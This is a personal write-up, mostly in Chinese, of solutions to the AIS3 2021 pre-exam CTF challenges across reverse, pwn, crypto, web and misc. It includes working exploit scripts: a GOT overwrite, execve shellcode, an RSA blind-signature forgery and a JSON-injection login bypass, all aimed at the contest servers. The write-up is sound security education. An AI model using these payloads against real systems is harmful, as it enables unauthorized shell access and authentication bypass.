AIS3 2021 Pre-Exam Writeup

雖然只有解出每個領域的簡單題目

還是厚著臉皮寫一下Writeup好了

反正Writeup抽查也被抽中了Q_Q

2021-06-23 更新: 官方Writeup在這裡


REVERSE

Piano

題目是一個.NET的exe檔。

有12個鍵給你按、讓你彈鋼琴。

只要是.NET一律丟進dnSpy反編譯。

先來看他的click handler,基本上就是讓你按下去時會放那個音階的.wav檔

但是輸入第14個音後有點有趣,會跑一個isValid()

如果過了isValid()就會跳出一個視窗,內容是nya()

可以聯想到可能要按下14個特定的音

// piano.Piano
// Token: 0x06000002 RID: 2 RVA: 0x00002190 File Offset: 0x00000390
private void onClickHandler(object sender, EventArgs e)
{
  Button button = (Button)sender;
  this.notes.Add(this.buttons.IndexOf(button));
  this.audio.SoundLocation = Path.Combine(this.rootLocation, "..\\Resources\\" + button.Name + ".wav");
  this.audio.Play();
  if (this.notes.Count == 14)
  {
    if (this.isValid())
    {
      MessageBox.Show(this.nya());
    }
    this.notes.RemoveAt(0);
  }
}

先來看nya()

內容多半就是Flag了

回傳值是list裡面的每個int和我們按下的notes一直XOR到底

// piano.Piano
// Token: 0x06000004 RID: 4 RVA: 0x0000236C File Offset: 0x0000056C
private string nya()
{
  List<int> list = new List<int> {
    70, 78, 89, 57, 112, 60, 125, 96, 103, 104,
    50, 109, 87, 115, 112, 54, 100, 97, 103, 56,
    85, 101, 56, 119, 119, 100, 59, 88, 50, 48,
    62, 120, 84, 58, 100, 86, 74, 92, 54, 96,
    60, 117, 119, 122
  };
  List<char> list2 = new List<char>();
  for (int i = 0; i < list.Count; i++)
  {
    list2.Add((char)(list[i] ^ this.notes[i % this.notes.Count]));
  }
  return new string(list2.ToArray());
}

但是因為解出來的字串和我們按下的notes直接相關,

不能直接patch判斷valid地方,需要確定這14個音到底是什麼

再來看一下isValid()

已經給出第i個音和第(i+1) % 14個音之間的關係

// piano.Piano
// Token: 0x06000003 RID: 3 RVA: 0x00002220 File Offset: 0x00000420
private bool isValid()
{
  List<int> list = new List<int> {
    14, 17, 20, 21, 22, 21, 19, 18, 12, 6, 11, 16, 15, 14
  };
  List<int> list2 = new List<int> {
    0,  -3,  0, -1,  0,  1,  1,  0,  6, 0, -5,  0,  1,  0
  };
  for (int i = 0; i < 14; i++)
  {
    if (this.notes[i] + this.notes[(i + 1) % 14] != list[i])
    {
      return false;
    }
    if (this.notes[i] - this.notes[(i + 1) % 14] != list2[i])
    {
      return false;
    }
  }
  return true;
}

解完聯立後發現這14個音是

C#, C#, G#, G#, A#, A#, G#, F#, F#, F, F, D#, D#, C#

彈完小星星之後就跳出一個視窗給你Flag了

AIS3{7wink1e_tw1nkl3_l1ttl3_574r_1n_C_5h4rp}


🐰Peekora🥒

題目是一個Python Pickle檔:flag_checker.pkl

可以用 python -m pickle flag_checker.pkl 執行它

並且如名字所示, 成功輸入flag就會print("Correct!")

輸入錯誤的話會直接exit, 不讓你用pickle把它load完。

只能乖乖做靜態分析了

python -m pickletools -a flag_checker.pkl

    0: c    GLOBAL     '__builtin__ input' Push a global object (module.attr) on the stack.
   19: (    MARK                           Push markobject onto the stack.
   20: S        STRING     'FLAG: '        Push a Python string object.
   30: t        TUPLE      (MARK at 19)    Build a tuple out of the topmost stack slice, after markobject.
   31: R    REDUCE                         Push an object built from a callable and an argument tuple.
   32: p    PUT        0                   Store the stack top into the memo.  The stack is not popped.
   35: 0    POP                            Discard the top stack item, shrinking the stack by one item.
   36: c    GLOBAL     '__builtin__ getattr' Push a global object (module.attr) on the stack.
   57: p    PUT        1                     Store the stack top into the memo.  The stack is not popped.
   60: 0    POP                              Discard the top stack item, shrinking the stack by one item.
   61: g    GET        1                     Read an object from the memo and push it on the stack.
   64: (    MARK                             Push markobject onto the stack.
   65: (        MARK                         Push markobject onto the stack.
   66: c            GLOBAL     '__builtin__ exit' Push a global object (module.attr) on the stack.
   84: c            GLOBAL     '__builtin__ str'  Push a global object (module.attr) on the stack.
  101: l            LIST       (MARK at 65)       Build a list out of the topmost stack slice, after markobject.
  102: S        STRING     '__getitem__'          Push a Python string object.
  117: t        TUPLE      (MARK at 64)           Build a tuple out of the topmost stack slice, after markobject.
  118: R    REDUCE                                Push an object built from a callable and an argument tuple.
  119: p    PUT        2                          Store the stack top into the memo.  The stack is not popped.
  122: 0    POP                                   Discard the top stack item, shrinking the stack by one item.
  123: g    GET        2                          Read an object from the memo and push it on the stack.
  126: (    MARK                                  Push markobject onto the stack.
  127: g        GET        1                      Read an object from the memo and push it on the stack.
  130: (        MARK                              Push markobject onto the stack.
  131: g            GET        0                  Read an object from the memo and push it on the stack.
  134: S            STRING     'startswith'       Push a Python string object.
  148: t            TUPLE      (MARK at 130)      Build a tuple out of the topmost stack slice, after markobject.
  149: R        REDUCE                            Push an object built from a callable and an argument tuple.
  150: (        MARK                              Push markobject onto the stack.
  151: S            STRING     'AIS3{'            Push a Python string object.
  160: t            TUPLE      (MARK at 150)      Build a tuple out of the topmost stack slice, after markobject.
  161: R        REDUCE                            Push an object built from a callable and an argument tuple.
  162: t        TUPLE      (MARK at 126)          Build a tuple out of the topmost stack slice, after markobject.
  163: R    REDUCE                                Push an object built from a callable and an argument tuple.
# 以下略...

沒什麼好說的,就是大部分直譯語言執行期的架構,用stack呼叫函數

pickletools 有幫忙把段落indent真的是幫了大忙。

接下來就要使用超凡的意志力盯著它看,

然後悟出flag會經過以下的test:

  • flag.startswith('AIS3{')
  • flag.endswith('}')
  • flag[6] == 'A'
  • flag[9] == 'j'
  • flag[11] == 'p'
  • flag[14] == flag[9]
  • flag[5] == 'd'
  • flag[10] == 'z'
  • flag[12] == 'h'
  • flag[13] == flag[1]
  • flag[8] == 'w'
  • flag[7] == 'm'

所以最後拼出來的flag是

AIS3{dAmwjzphIj}


Colors

題目連結是這個網頁,馬上有不好的預感會是Reverse JS題

前10個字母的html長這樣(很重要,等一下會考)

<span><div class="c0 r0">i</div></span>
<span><div class="c0 r0">n</div></span>
<span><div class="c0 r0">p</div></span>
<span><div class="c0 r0">u</div></span>
<span><div class="c0 r0">t</div></span>
<span><div class="c1 r0">s</div></span>
<span><div class="c1 r0">e</div></span>
<span><div class="c1 r0">c</div></span>
<span><div class="c1 r0">r</div></span>
<span><div class="c1 r0">e</div></span>
<span><div class="c1 r0">t</div></span>

然後題目的Javascript有做obfuscation,所以真的有夠醜。

經過一些簡化以及重新命名後,有關secret code的邏輯:

document['addEventListener']('keydown', LISTENER=>{
    const _0x12b963 = f2;
    if (LISTENER['key'] === 'Backspace' && SEQ == 0xa)
        _0x1e21d9['textContent'] = _0x1e21d9['textContent']['substr'](0x0, _0x1e21d9['textContent']['length'] - 0x1);
    else {
        if (LISTENER['key'] === 'ArrowUp' && !(SEQ >> 0x1))
            return SEQ += 0x1;
        else {
            if (LISTENER['key'] === 'ArrowDown' && !(SEQ >> 0x2))
                return SEQ += 0x1;
            else {
                if (LISTENER['key'] === 'ArrowLeft' && (SEQ == 0x4 || SEQ == 0x6))
                    return SEQ += 0x1;
                else {
                    if (LISTENER['key'] === 'ArrowRight' && (SEQ == 0x5 || SEQ == 0x7))
                        return SEQ += 0x1;
                    else {
                        if (LISTENER['key'] === 'b' && SEQ == 0x8)
                            return SEQ += 0x1;
                        else {
                            if (LISTENER['key'] === 'a' && SEQ == 0x9)
                                return document['getElementsByTagName']('body')[0x0]['innerHTML'] += atob(b1),
                                _0x1e21d9 = document['getElementById']('input'),
                                _0x1e21d9['innerHTML'] = '', // unlock input
                                document['getElementById']('output')['innerHTML'] = atob(b2)['match'](/(.{1,3})/g)['map'](_0x5efa9e=>TAG(_0x5efa9e[0x0], _0x5efa9e[0x1], _0x5efa9e[0x2]))['join'](''),
                                SEQ += 0x1;
                            else {
                                if (LISTENER['key']['length'] == 0x1 && SEQ == 0xa)
                                    _0x1e21d9['textContent'] += String['fromCharCode'](LISTENER['key']['charCodeAt']());
                                else
                                    return;
                            }
                        }
                    }
                }
            }
        }
    }
    update(_0x1e21d9['textContent']);
}

基本上就是從EventListener抓你輸入的十個key

可以看出secret code是 ↑↑↓↓←→←→ba

輸入secret code後還不放過你:

接下來我們可以輸入任意字串,網站會給我們看encode後的結果

寫出decoder後應該就能還原flag了

先來看看他的encoding邏輯:

let TAG = (cid,rid,chr)=>'<span><div\x20class=\x22c' + cid + '\x20r' + rid + '\x22>' + chr + '</div></span>';
let b64 = "AlS3{BasE64_i5+b0rNIng~\\Qwo/-xH8WzCj7vFD2eyVktqOL1GhKYufmZdJpX9}";

function encode(INPUT) {
    const _0x9fe181 = f2;
    if (!INPUT['length'])
        return '';
    let BIN = ''
      , result = ''
      , rest = 0x0;
    for (let i = 0x0; i < INPUT['length']; i++)
		// appends ASCII bin string for each char in input
        BIN += INPUT['charCodeAt'](i)['toString'](0x2)['padStart'](0x8, '0');
    rest = BIN['length'] % ten / 0x2 - 0x1;
    if (rest != -0x1)
		// pad the bin string to a multiple of ten
        BIN += '0'['repeat'](ten - BIN['length'] % ten);
	// split into sections of 10 bits
    BIN = BIN['match'](/(.{1,10})/g);
    for (let section of BIN) {
		// x from 0 to 1023
        let x = parseInt(section, 0x2);
		// bit 6 to 8 bit determines color
		// bit 9 determines ???
		// bit 0 to 5 determines char
        result += TAG(x >> 0x6 & 0x7, x >> 0x9, b64[x & 0x3f]);
    }
    for (; rest > 0x0; rest--) {
        result += TAG(rest % eight, 0x0, '=');
    }
    return result;
}

每五個字元會把Ascii延伸到8-bit之後再接起來,這樣是一團40-bit的資訊

然後以10-bit為一單位編碼成四個字元

10-bit的用法是:

  • bit 0-5 從64個字元選一種
  • bit 6-8 從8種顏色選一種
  • bit 9 不知道在幹麻我也懶的弄清楚

接下來就是把encoded flag的資訊抓下來然後寫decoder:

enc = [
	"04B", "02g", "03i", "15J", // 40 bits of data
	"066", "10\\", "03w", "041",
	"03A", "14j", "04\\", "141",
	"03g", "07u", "03i", "01k",
	"03l", "047", "06x", "05i",
	"05X", "01K", "01I", "04h",
	"05X", "00K", "14i", "15l",
	"076", "07f", "04o", "016",
	"055", "07K", "11n", "158",
	"077", "14B", "05-", "118",
	"04w", "13a", "01r", "14z",
	"07K", "03=", "02=", "01=",
];

b64 = "AlS3{BasE64_i5+b0rNIng~\\Qwo/-xH8WzCj7vFD2eyVktqOL1GhKYufmZdJpX9}" // 64 chars
flag = ''

for (var seg = 0; seg < enc.length; seg+=4) {
	bits = ''
	for (var i = 0; i < 4; i++) {
		bits += enc[seg + i][0];
		bits += (parseInt(enc[seg + i][1])>>>0).toString(2).padStart(3, '0');
		bits += (b64.indexOf(enc[seg + i][2])>>>0).toString(2).padStart(6, '0');
	}
	bits = bits.match(/.{1,8}/g);
	for (var i = 0; i < 5; i++)
		flag += String.fromCharCode(parseInt(bits[i], 2))
}
console.log(flag);

很多人(我也有份)一開始上傳

AlS3{BasE64_i5+b0rNIng~\\Qwo/-xH8WzCj7vFD2eyVktqOL1GhKYufmZdJpX9}

一直到官方出來澄清這不是Flag別再傳了...

然後寫完才想到其實decoder用Python寫就好了,幹麻繼續寫JS折磨自己 XD

AIS3{base1024_15_c0l0RFuL_GAM3_CL3Ar_thIS_IS_y0Ur_FlaG!}


PWN

Write Me

題目有給Source

基本上就是讓你寫8-byte到任意地方

只是因為system@got被寫0,最後的system("/bin/sh");跑不出來

#include <stdlib.h>
#include <stdio.h>
int main()
{
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    void *systemgot = 0x404028;
    void *scanfgot = 0x404040;
    *(long long *)systemgot = (long long)0x0;

    printf("Address: ");
    void *addr;
    long long v;
    scanf("%ld",&addr);
    printf("Value: ");
    scanf("%ld",&v);
    *(long long *)addr = (long long)v;

    *(long long *)scanfgot = (long long)0x0;
    printf("OK! Shell for you :)\n");
    system("/bin/sh");
    return 0;
}

binary的名字叫做gotplt

checksec 的結果是Partial Relocation + No PIE

也就是這個ELF裡面的offset在每次執行都一樣,而且GOT table可寫

所以把system@got的位址還原就可以順利跑system("/bin/sh")

因為是用scanf("%ld"),所以要記得把位址轉十進位再輸入

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'
binary = context.binary = ELF('./gotplt')

if args.REMOTE:
    p = remote('quiz.ais3.org', 10102)
else:
    p = process(binary.path)

p.recvuntil('Address: ')
p.sendline(str(4210728))
p.recvuntil('Value: ')
p.sendline(str(4198480))
p.interactive()

flag 放在home/gotplt/flag

AIS3{Y0u_know_h0w_1@2y_b1nd1ng_w@rking}

話說GOT Hijacking不是應該會和ROP一起出成某個模板題嗎?

這題的考法也太直白...就算不知道lazy binding好像也能瞎猜出來?


Noper

題目沒給Source

它會讀64-byte 進去然後當做 opcode 去執行

只是在執行前會用rand()選出一些byte然後寫入0x90 (x86-64指令集的NOP指令)

因為是從64-byte當中選出9個,一開始以為多傳幾次就好了

看了老半天才發現他根本沒做過srand(time(NULL))

這種時候相當於用srand(1)初始化

所以本機和伺服器上每次執行時填NOP的位置都一樣

接下來就是把payload裡的opcode分段塞進不會被填NOP的縫隙裡

我塞的shellcode是這個

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'
binary = context.binary = ELF('./noper')

if args.REMOTE:
    p = remote('quiz.ais3.org', 5002)
else:
    p = process(binary.path)

# NOP in payload: 6, 10, 13, 17, 39, 41, 44, 51, 63
payload  = b"\x48\x31\xd2\x90\x90\x90\x90\x90" # 0 - 7
payload += b"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" # 8  - 17
payload += b"\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" # 18 - 27
payload += b"\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57" # 28 - 37
payload += b"\x90\x90\x90\x90\x90\x90\x90" # 38 - 44
payload += b"\x48\x89\xe6\xb0\x3b\x90\x90" # 45 - 51
payload += b"\x0f\x05" # 52 - 53

p.recvuntil('code:\n')
p.sendline(payload)
p.interactive()

flag 放在 home/noper/flag

AIS3{nOp_noOp_NOoop!!!}

蠻有趣的塞shellcode題

這一題是首殺、豪爽


CRYPTO

Microchip

題目Source是C++,只是用macro和template之類的東東

把語法弄得很像Python,這也太變態了吧

幸好加密邏輯很單純

#include "python.h"
#include <stdio.h>

def track(name, id) -> str ꞉                                                    {

    if len(name) % 4 == 0){
        padded = name + "4444"                                                  ;}
    elif len(name) % 4 == 1){
        padded = name + "333"                                                   ;}
    elif len(name) % 4 == 2){
        padded = name + "22"                                                    ;}
    elif len(name) % 4 == 3){
        padded = name + "1"                                                     ;}

    keys = list()                                                               ;
    temp = id                                                                   ;
    for i in range(4)){
        keys.append(temp % 96)                                                  ;
        temp = int(temp / 96)                                                   ;}

    result = ""                                                                 ;
    for i in range(0, len(padded), 4)){

        nums = list()                                                           ;
        for j in range(4)){
            num = ord(padded[i + j]) - 32                                       ;
            num = (num + keys[j]) % 96                                          ;
            nums.append(num + 32)                                               ;}

        result += chr(nums[3])                                                  ;
        result += chr(nums[2])                                                  ;
        result += chr(nums[1])                                                  ;
        result += chr(nums[0])                                                  ;}

    return result                                                               ;}


def main() -> int{

    name = open("flag.txt", "r").read().strip()                                 ;
    id = int(input("key = "))                                                   ;

    print("result is:", track(name, id))                                        ;
	//     result is: =Js&;*A${"`"}odZHi'>D=Js&#i-DYf>Uy'yuyfyu<)Gu
    return 0                                                                    ;}

一個Block是四個字元,Key 被重複使用

因為加密過程只用到mod 96底下的加減法,解密過程很容易寫出來

然後我們大概可以猜到明文的前四個字元會是AIS3

所以把Key爆搜出來再拿去解密就好了

#!/usr/bin/env python3
cipher = "=Js&;*A${"`"}odZHi'>D=Js&#i-DYf>Uy'yuyfyu<)Gu"

def brutekeys(p, c):
    keys = []
    for i in range(4):
        for key in range(96):
            if ((ord(p[i])-32) + key) % 96 + 32 == ord(c[3-i]):
                keys.append(key)
    return keys

def dec(cipher, keys):
    plain = ''
    for i in range(4):
        plain += chr(((ord(cipher[3-i])-32) - keys[i]) % 96 + 32)
    return plain

keys = brutekeys('AIS3', cipher[0:4])
flag = ''
for i in range(len(cipher)//4):
    flag += dec(cipher[4*i:4*(i+1)], keys)
print(flag)

AIS3{w31c0me_t0_AIS3_cryptoO0O0o0Ooo0}


ReSident evil villAge

簡單來說就是用RSA幫你簽任意字串(blind signing)

但是不會幫你簽"Ethan Winters"

我們需要偽造一份用server的私鑰簽"Ethan Winters"的數位簽證

做到的話就給Flag

題目主要邏輯:

	if option == b'1': # Sign a message
		self.request.sendall(b'Name (in hex): ')
		msg = unhexlify(self.recv())
		if msg == b'Ethan Winters' or bytes_to_long(msg) >= n:  # msg+k*n not allowed
			self.send(b'Nice try!')
		else:
			sig = pow(bytes_to_long(msg), privkey.d, n)
            # TODO: Apply hashing first to prevent forgery
			self.send(b'Signature: ' + str(sig).encode())

	elif option == b'2': # Verify a signed message
		self.request.sendall(b'Signature: ')
		sig = int(self.recv())
		verified = (pow(sig, e, n) == bytes_to_long(b'Ethan Winters'))
		if verified:
			self.send(b'AIS3{THIS_IS_A_FAKE_FLAG}')
		else:
			self.send(b'Well done!')

官方還很好心在TODO那個地方放一個提示

數位簽證應該要簽明文的Hash而不是明文本身

再加上我們有一定程度的Blind Signing

可以用Blinding Attack偽造簽證

#!/usr/bin/env python3
from pwn import *
from Crypto.Util.number import bytes_to_long, inverse

context.log_level = 'info'

p = remote('quiz.ais3.org', 42069)
p.recvuntil('n = ')
n = int(p.recvline())
e = 65537
p.recvuntil('3) exit\n')

r = 1337 # blinding factor, can be anything
m = bytes_to_long(b'Ethan Winters')
M = (pow(r, e, n) * m ) % n    # M === (r^e) * m mod n
p.sendline('1')                # sign M
p.recvuntil('(in hex): ')
p.sendline(hex(M)[2:])
p.recvuntil('Signature: ')
S = int(p.recvline())          # S === M^d mod n

s = (S * inverse(r, n)) % n    # s is the fake signature we want
p.recvuntil('3) exit\n')

p.sendline('2')                # verify with s
p.recvuntil('Signature: ')
p.sendline(str(s))
p.interactive()

AIS3{R3M383R_70_HAsh_7h3_M3Ssa93_83F0r3_S19N1N9}


WEB

Yet Another Login Page

題目有給Source,是後端用Flask寫的登入頁面:

from flask import Flask, request, make_response, redirect, session, render_template, send_file
import os
import json

app = Flask(__name__)
app.secret_key = os.urandom(32)

FLAG = os.environ.get('FLAG', 'AIS3{TEST_FLAG}')
users_db = {
    'guest': 'guest',
    'admin': os.environ.get('PASSWORD', 'S3CR3T_P455W0RD')
}

@app.route("/")
def index():
    def valid_user(user):
        return users_db.get(user['username']) == user['password']

    if 'user_data' not in session:
        return render_template("login.html", message="Login Please :D")

    user = json.loads(session['user_data'])
    if valid_user(user):
        if user['showflag'] == True and user['username'] != 'guest':
            return FLAG
        else:
            return render_template("welcome.html", username=user['username'])

    return render_template("login.html", message="Verify Failed :(")


@app.route("/login", methods=['POST'])
def login():
    data = '{"showflag": false, "username": "%s", "password": "%s"}' % (
        request.form["username"], request.form['password']
    )
    session['user_data'] = data
    return redirect("/")

login()可以看到POST Request裡面的username和password直接被塞進一個JSON物件,然後在index()裡面進行驗證,我們需要通過valid_user(user)以及user['showflag'] == True and user['username'] != 'guest' 這兩個test。

接下來就是嘗試各種 username 和 password 組合

主要想法是在data裡面注入重複的key來覆寫原本的value

import json
import os

users_db = {
    'guest' : 'guest',
    'admin': os.environ.get('PASSWORD', 'S3CR3T_P455W0RD')
}

username = 'x2w", "showflag": true, "foo":"'
password = '", "password": null, "foo":"'

data = '{"showflag": false, "username": "%s", "password": "%s"}' % (
    username, password
)
user = json.loads(data)

if users_db.get(user['username']) == user['password']:
    if user['showflag'] == True and user['username'] != 'guest':
        print("SUCCESS") # bypass checks

這樣子的user物件會是

{'showflag': True, 'username': 'x2w', 'foo': '', 'password': None}

在第一個test的結果是None == None,這在Python裡面是True

第二個test也會通過,showflag 和 username 都被覆寫過了

拿到Flag AIS3{/r/badUIbattles?!?!}


MISC

Microcheese

這題原本是Crypto的某題,因為邏輯寫爛了有莫名其妙的解法而被歸類到Misc來。

連到server讓你和電腦玩Nim Game

可以除存遊戲並且再載入。(以Hash的形式)

贏了就給Flag,當然生成的每一局都是電腦必贏。

原本在遊戲裡應該只有三種操作:

  1. make a move
  2. save the current game and leave
  3. resign the game

但是因為最後一個判斷停在elif而不是else,我們可以輸入3, 4, 5...之類的

可以繼續下棋還不會crash

搞到最後變成是一局我們可以贏的Nim Game...

AIS3{5._e3_b5_6._a4_Bb4_7._Bd2_a5_8._axb5_Bxc3}

原本的題目好像是要找Hash的漏洞然後讓它載入一局我們必贏的Nim Game?

可惜我太菜不懂Hash


Blind

題目Source:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/syscall.h>

int syscall_black_list[] = {};

void make_a_syscall()
{
    unsigned long long rax, rdi, rsi, rdx;
    scanf("%llu %llu %llu %llu", &rax, &rdi, &rsi, &rdx);
    syscall(rax, rdi, rsi, rdx);
}

int main()
{
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    puts("You can call a system call, then I will open the flag for you.");
    puts("Input: [rax] [rdi] [rsi] [rdx]");
    close(1);
    make_a_syscall();
    int fd = open("flag", O_RDONLY);
    char flag[0x100];
    size_t flag_len = read(fd, flag, 0xff);
    write(1, flag, flag_len);
    return 0;
}

close(1)之後再把Flag 印到 stdout,當然看不到。

上網爬了一堆文之後找到這篇

發現File Descriptor居然可以透過特定的syscall複製一份?

syscall(33, 2, 1, 0)讓Flag從stderr跑出來:

AIS3{dupppppqqqqqub}

又學到了一個這輩子大概不會再用到的syscall


Cat Slayer Fake

就是一個密碼鎖,好像有13位來著?每一位都是0-9

因為每次輸入都能知道自己的密碼到目前為止正確還錯誤

所以這個鎖是 O(10*n) 而不是 O(10^n)

然後因為這個鎖的界面是用ncurses之類的東東寫的而不是傳統的CLI

我還真的不會寫pwntools自動化XD

我記得好像是在解Reverse解到精神渙散的時候來按一按,當作腦部復健。

忘記去紀錄Flag是什麼了,然後這題最後好像從Misc搬到Welcome這個奇妙的類別去了


結果與心得

再次體會到自己很菜

然後第一次寫writeup就已經累到不想再寫第二次了。

  1. REVERSE 就是地獄,每次看到新的題形都會很想死,不過做過一次後通常就會覺的類似的題形很簡單了,相當吃經驗的領域。

  2. PWN 該學UAF和Heap Exploits了,不然每次都只能解水題,話說今年怎麼好像沒看到Format String?然後Noper居然還是這次解的題目裡分數最高的...比殺了我好多腦細胞的Colors分數還高到底是怎麼回事?PWN真香。

  3. CRYPTO 我真的有夠菜,解不出來只能在路邊CRY

  4. WEB 到底哪裡好入門了,到底是誰說很好入門的?

最後一天一題都沒解出來,當天還砸了六個小時在某題Reverse上。明明就只差最後一小步了...不過沒解出來就是沒解出來,只能眼睜睜看著自己從前二十名掉到第四十...

© 2024 x2w-soda. All Rights Reserved.